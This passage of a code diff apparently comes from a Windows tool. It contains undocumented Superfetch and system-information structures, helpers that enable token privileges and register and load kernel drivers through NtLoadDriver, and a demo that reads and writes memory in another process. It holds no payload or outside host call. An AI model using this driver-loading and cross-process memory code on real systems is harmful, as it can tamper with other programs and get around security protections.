ULONGLONG PageDirectoryBase : 48;
ULONGLONG Reserved : 7;
} PAGEDIR_INFORMATION, *PPAGEDIR_INFORMATION;
typedef struct _UNIQUE_PROCESS_INFORMATION {
ULONGLONG DontUse : 9;
ULONGLONG UniqueProcessKey : 48;
ULONGLONG Reserved : 7;
} UNIQUE_PROCESS_INFORMATION, *PUNIQUE_PROCESS_INFORMATION;
//
// PFN Identity Data Structure
//
typedef struct _MMPFN_IDENTITY {
union {
MEMORY_FRAME_INFORMATION e1;
FILEOFFSET_INFORMATION e2;
PAGEDIR_INFORMATION e3;
UNIQUE_PROCESS_INFORMATION e4;
} u1;
SIZE_T PageFrameIndex;
union {
struct {
ULONG Image : 1;
ULONG Mismatch : 1;
} e1;
PVOID FileObject;
PVOID UniqueFileObjectKey;
PVOID ProtoPteAddress;
PVOID VirtualAddress;
} u2;
} MMPFN_IDENTITY, *PMMPFN_IDENTITY;
//
// Data Structure for SuperfetchPfnQuery
//
typedef struct _PF_PFN_PRIO_REQUEST {
ULONG Version;
ULONG RequestFlags;
SIZE_T PfnCount;
SYSTEM_MEMORY_LIST_INFORMATION MemInfo;
MMPFN_IDENTITY PageData[256];
} PF_PFN_PRIO_REQUEST, *PPF_PFN_PRIO_REQUEST;
typedef struct _PF_PROCESS {
LIST_ENTRY ProcessLinks;
ULONGLONG ProcessKey;
CHAR ProcessName[16];
ULONG ProcessPfnCount;
ULONG PrivatePages;
HANDLE ProcessId;
ULONG SessionId;
HANDLE ProcessHandle;
ULONG ProcessPfns[ANYSIZE_ARRAY];
} PF_PROCESS, *PPF_PROCESS;
//
// Superfetch Information Class
//
typedef enum _SUPERFETCH_INFORMATION_CLASS {
SuperfetchRetrieveTrace = 1, // Query
SuperfetchSystemParameters = 2, // Query
SuperfetchLogEvent = 3, // Set
SuperfetchGenerateTrace = 4, // Set
SuperfetchPrefetch = 5, // Set
SuperfetchPfnQuery = 6, // Query
SuperfetchPfnSetPriority = 7, // Set
SuperfetchPrivSourceQuery = 8, // Query
SuperfetchSequenceNumberQuery = 9, // Query
SuperfetchScenarioPhase = 10, // Set
SuperfetchWorkerPriority = 11, // Set
SuperfetchScenarioQuery = 12, // Query
SuperfetchScenarioPrefetch = 13, // Set
SuperfetchRobustnessControl = 14, // Set
SuperfetchTimeControl = 15, // Set
SuperfetchMemoryListQuery = 16, // Query
SuperfetchMemoryRangesQuery = 17, // Query
SuperfetchTracingControl = 18, // Set
SuperfetchTrimWhileAgingControl = 19,
SuperfetchInformationMax = 20
} SUPERFETCH_INFORMATION_CLASS;
//
// Buffer for NtQuery/SetInformationSystem for the Superfetch Class
//
typedef struct _SUPERFETCH_INFORMATION {
ULONG Version;
ULONG Magic;
SUPERFETCH_INFORMATION_CLASS InfoClass;
PVOID Data;
ULONG Length;
} SUPERFETCH_INFORMATION, *PSUPERFETCH_INFORMATION;
typedef struct _RTL_BITMAP {
ULONG SizeOfBitMap;
PULONG Buffer;
} RTL_BITMAP, *PRTL_BITMAP;
//
// Superfetch Private Sources
//
typedef enum _PFS_PRIVATE_PAGE_SOURCE_TYPE {
PfsPrivateSourceKernel = 0,
PfsPrivateSourceSession = 1,
PfsPrivateSourceProcess = 2,
PfsPrivateSourceMax = 3
} PFS_PRIVATE_PAGE_SOURCE_TYPE;
//
// Private Source Database Information
//
typedef struct _PFS_PRIVATE_PAGE_SOURCE {
PFS_PRIVATE_PAGE_SOURCE_TYPE Type;
ULONG ProcessId;
ULONG ImagePathHash;
ULONG_PTR UniqueProcessHash;
} PFS_PRIVATE_PAGE_SOURCE, *PPFS_PRIVATE_PAGE_SOURCE;
//
// Private Source Entry
//
typedef struct _PF_PRIVSOURCE_INFO {
PFS_PRIVATE_PAGE_SOURCE DbInfo;
PVOID EProcess;
SIZE_T WorkingSetPrivateSize;
SIZE_T NumberOfPrivatePages;
ULONG SessionID;
CHAR ImageName[16];
union {
ULONG_PTR WsSwapPages; // process only PF_PRIVSOURCE_QUERY_WS_SWAP_PAGES.
ULONG_PTR SessionPagedPoolPages; // session only.
ULONG_PTR StoreSizePages; // process only PF_PRIVSOURCE_QUERY_STORE_INFO.
};
ULONG_PTR WsTotalPages; // process/session only.
ULONG DeepFreezeTimeMs; // process only.
ULONG ModernApp : 1; // process only.
ULONG DeepFrozen : 1; // process only. If set, DeepFreezeTimeMs contains the time at which the freeze occurred
ULONG Foreground : 1; // process only.
ULONG PerProcessStore : 1; // process only.
ULONG Spare : 28;
} PF_PRIVSOURCE_INFO, *PPF_PRIVSOURCE_INFO;
//
// Query Data Structure for SuperfetchPrivSourceQuery
//
typedef struct _PF_PRIVSOURCE_QUERY_REQUEST {
ULONG Version;
ULONG Flags;
ULONG InfoCount;
PF_PRIVSOURCE_INFO InfoArray[ANYSIZE_ARRAY];
} PF_PRIVSOURCE_QUERY_REQUEST, *PPF_PRIVSOURCE_QUERY_REQUEST;
typedef struct _PF_PHYSICAL_MEMORY_RANGE {
ULONG_PTR BasePfn;
ULONG_PTR PageCount;
} PF_PHYSICAL_MEMORY_RANGE, *PPF_PHYSICAL_MEMORY_RANGE;
typedef struct _PF_MEMORY_RANGE_INFO {
ULONG Version;
ULONG RangeCount;
PF_PHYSICAL_MEMORY_RANGE Ranges[ANYSIZE_ARRAY];
} PF_MEMORY_RANGE_INFO, *PPF_MEMORY_RANGE_INFO;
typedef struct _PHYSICAL_MEMORY_RUN {
SIZE_T BasePage;
SIZE_T PageCount;
} PHYSICAL_MEMORY_RUN, *PPHYSICAL_MEMORY_RUN;
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation, /// Obsolete: Use KUSER_SHARED_DATA
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation, // used to be SystemLoadAndCallImage
SystemPrioritySeperation,
SystemPlugPlayBusInformation,
SystemDockInformation,
SystemPowerInformationNative,
SystemProcessorSpeedInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation,
SystemLoadGdiDriverInSystemSpaceInformation,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHanfleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchDogTimerHandler,
SystemWatchDogTimerInformation,
SystemLogicalProcessorInformation,
SystemWo64SharedInformationObosolete,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
SystemThreadPriorityClientIdInformation,
SystemProcessorIdleCycleTimeInformation,
SystemVerifierCancellationInformation,
SystemProcessorPowerInformationEx,
SystemRefTraceInformation,
SystemSpecialPoolInformation,
SystemProcessIdInformation,
SystemErrorPortInformation,
SystemBootEnvironmentInformation,
SystemHypervisorInformation,
SystemVerifierInformationEx,
SystemTimeZoneInformation,
SystemImageFileExecutionOptionsInformation,
SystemCoverageInformation,
SystemPrefetchPathInformation,
SystemVerifierFaultsInformation,
MaxSystemInfoClass,
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_BASIC_INFORMATION {
ULONG Reserved;
ULONG TimerResolution;
ULONG PageSize;
ULONG NumberOfPhysicalPages;
ULONG LowestPhysicalPageNumber;
ULONG HighestPhysicalPageNumber;
ULONG AllocationGranularity;
ULONG_PTR MinimumUserModeAddress;
ULONG_PTR MaximumUserModeAddress;
ULONG_PTR ActiveProcessorsAffinityMask;
CCHAR NumberOfProcessors;
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
struct RTL_PROCESS_MODULE_INFORMATION
{
unsigned int Section;
void* MappedBase;
void* ImageBase;
unsigned int ImageSize;
unsigned int Flags;
unsigned short LoadOrderIndex;
unsigned short InitOrderIndex;
unsigned short LoadCount;
unsigned short OffsetToFileName;
char FullPathName[256];
};
struct RTL_PROCESS_MODULES
{
unsigned int NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[0];
};
struct SYSTEM_HANDLE
{
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
};
struct SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[0];
};
extern "C" NTSTATUS WINAPI NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << 12)
#define SE_DEBUG_PRIVILEGE (20L)
#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L)
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(
IN ULONG Privilege,
IN BOOLEAN NewValue,
IN BOOLEAN ForThread,
OUT PBOOLEAN OldValue
);
#define SPAGE_SIZE 0x1000
#define SUPERFETCH_VERSION 45
#define SUPERFETCH_MAGIC 'kuhC'
#endif
+178
View File
@@ -0,0 +1,178 @@
#include "Utils.h"
#include <winternl.h>
#include <iostream>
#define SERVICE_REG_SUBKEY "System\\CurrentControlSet\\Services\\"
#define REGISTRY_PATH_PREFIX "\\Registry\\Machine\\"
NTSTATUS(NTAPI* NtLoadDriver)(_In_ PUNICODE_STRING DriverServiceName);
NTSTATUS(NTAPI* NtUnloadDriver)(_In_ PUNICODE_STRING DriverServiceName);
Utils* g_pUtils = new Utils();
Utils::Utils()
{
}
Utils::~Utils()
{
}
/* Elevates Process Privileges To Desired Privilege */
BOOLEAN Utils::EnablePrivilege(const char* lpPrivilegeName)
{
TOKEN_PRIVILEGES Privilege;
HANDLE hToken;
DWORD dwErrorCode;
Privilege.PrivilegeCount = 1;
Privilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValueA(NULL, lpPrivilegeName,
&Privilege.Privileges[0].Luid))
return GetLastError();
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return GetLastError();
if (!AdjustTokenPrivileges(hToken, FALSE, &Privilege, sizeof(Privilege),
NULL, NULL)) {
dwErrorCode = GetLastError();
CloseHandle(hToken);
return dwErrorCode;
}
CloseHandle(hToken);
return TRUE;
}
/* Registers a Service To The Registry */
/* Includes a ImagePath, Type, ErrorControl and Start, SubKeys */
BOOLEAN Utils::RegisterService(std::string ServicePath, std::string *ServiceRegKey)
{
HKEY hkResult;
DWORD dwDispositon;
DWORD dwServiceType = 1;
DWORD dwServiceErrorControl = 1;
DWORD dwServiceStart = 3;
//DWORD dwProcType = 1;
LPCSTR lpValueName = "ImagePath";
LPCSTR lpType = "Type";
LPCSTR lpErrorControl = "ErrorControl";
LPCSTR lpValueStart = "Start";
//LPCSTR lpDisplayName = "DisplayName";
//LPCSTR lpProcType = "WOW64";
size_t OffsetToServiceName = ServicePath.find_last_of('\\');
std::string ServiceName = ServicePath.substr(OffsetToServiceName + 1); // Get Service Name With ".sys" suffix
std::string KeyName = ServiceName.substr(0, ServiceName.find_first_of('.')); // Get KeyName, (ServiceName without suffix ".sys")
std::string SubKey = SERVICE_REG_SUBKEY + KeyName;
*ServiceRegKey = REGISTRY_PATH_PREFIX + SubKey; // ServiceRegKey Needed To Load/Unload Driver With Native Functions
LSTATUS Status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), 0, KEY_ALL_ACCESS, &hkResult); // Try To Open Registry Key (Checking if it exists)
if (!Status) // If it exists,
RegDeleteKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), KEY_WOW64_64KEY, 0); // then remove it for creating a new with correct SubKeys.
Status = RegCreateKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), 0, nullptr, 0, KEY_ALL_ACCESS, NULL, &hkResult, &dwDispositon); // Create SubKey.
if (Status)
return false;
if (Status = RegSetValueExA(hkResult, lpValueName, 0, REG_EXPAND_SZ, (const BYTE*)std::string("\\??\\" + ServicePath).c_str(), ServicePath.size() + 4)) // Include prefix "\\??\\" for correct ImagePath
{
/* Error already caught */
}
else if (Status = RegSetValueExA(hkResult, lpType, 0, REG_DWORD, (const BYTE*)&dwServiceType, sizeof(DWORD))) // Set Type Key
{
/* Error already caught */
}
else if (Status = RegSetValueExA(hkResult, lpErrorControl, 0, REG_DWORD, (const BYTE*)&dwServiceErrorControl, sizeof(DWORD))) // Set ErrorControl Key
{
/* Error already caught */
}
else if (Status = RegSetValueExA(hkResult, lpValueStart, 0, REG_DWORD, (const BYTE*)&dwServiceStart, sizeof(DWORD))) // Set Start Key
{
/* Error already caught */
}
/*else if (Status = RegSetValueExA(hkResult, lpDisplayName, 0, REG_SZ, (const BYTE*)KeyName.c_str(), KeyName.size()))
{
}
else if (Status = RegSetValueExA(hkResult, lpProcType, 0, REG_DWORD, (const BYTE*)&dwProcType, sizeof(DWORD)))
{
}*/
// ErrorHandling:
RegCloseKey(hkResult);
return Status == 0;
}
/* Initializes Native Functions For Loading And Unloading Drivers */
BOOLEAN Utils::InitNativeFuncs()
{
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
if (!hNtdll)
return FALSE;
/* Look up desired functions */
NtLoadDriver = (decltype(NtLoadDriver))GetProcAddress(hNtdll, "NtLoadDriver");
NtUnloadDriver = (decltype(NtLoadDriver))GetProcAddress(hNtdll, "NtUnloadDriver");
if (!NtLoadDriver || !NtUnloadDriver)
return FALSE;
m_bIsNativeInitialized = TRUE; // Set their Initialization to TRUE for no Reinitialization
return TRUE;
}
/* Loads A Driver Specified With The Service Registry Key */
NTSTATUS Utils::LoadDriver(std::string ServiceRegKey)
{
std::cout << "Loading: " << ServiceRegKey.substr(ServiceRegKey.find_last_of('\\') + 1).c_str() << ".sys\n";
UNICODE_STRING usKey{ 0 };
std::wstring ServiceRegKeyW(ServiceRegKey.begin(), ServiceRegKey.end());
if (!m_bIsNativeInitialized)
if (!InitNativeFuncs()) // Initialize if it has not been initialized before
return FALSE;
RtlInitUnicodeString(&usKey, ServiceRegKeyW.c_str());
return NtLoadDriver(&usKey);
}
/* Unloads A Driver Specified With The Service Registry Key */
NTSTATUS Utils::UnloadDriver(std::string ServiceRegKey)
{
std::cout << "Unloading: " << ServiceRegKey.substr(ServiceRegKey.find_last_of('\\') + 1).c_str() << ".sys\n";
UNICODE_STRING usKey{ 0 };
std::wstring ServiceRegKeyW(ServiceRegKey.begin(), ServiceRegKey.end());
if (!m_bIsNativeInitialized)
if (!InitNativeFuncs())
return FALSE;
RtlInitUnicodeString(&usKey, ServiceRegKeyW.c_str());
return NtUnloadDriver(&usKey);
}
int Utils::isAscii(int c)
{
return((c >= 'A' && c <= 'z') || (c >= '0' && c <= '9') || c == 0x20 || c == '@' || c == '_' || c == '?');
}
int Utils::isPrintable(uint32_t uint32)
{
if ((isAscii((uint32 >> 24) & 0xFF)) && (isAscii((uint32 >> 16) & 0xFF)) && (isAscii((uint32 >> 8) & 0xFF)) &&
(isAscii((uint32) & 0xFF)))
return true;
else
return false;
}
+30
View File
@@ -0,0 +1,30 @@
#ifndef UTILS_H
#define UTILS_H
#pragma once
#include <Windows.h>
#include <string>
class Utils
{
public:
Utils();
~Utils();
public:
BOOLEAN EnablePrivilege(const char* lpPrivilegeName);
BOOLEAN RegisterService(std::string ServicePath, std::string *ServiceRegKey);
NTSTATUS LoadDriver(std::string ServiceRegKey);
NTSTATUS UnloadDriver(std::string ServiceRegKey);
int isAscii(int c);
int isPrintable(uint32_t uint32);
private:
BOOLEAN InitNativeFuncs();
BOOLEAN m_bIsNativeInitialized = false;
};
#endif // !UTILS_H
extern Utils* g_pUtils;
+15
View File
@@ -0,0 +1,15 @@
#include <iostream>
#include <Windows.h>
#include "Proc.h"
int main()
{
Proc* proc = new Proc();
proc->OnSetup("Project1.exe");
DWORD g = proc->Read<DWORD>(0x104FF10);
proc->Write<DWORD>(0x104FF10, 54321);
std::cin.get();
return 0;
}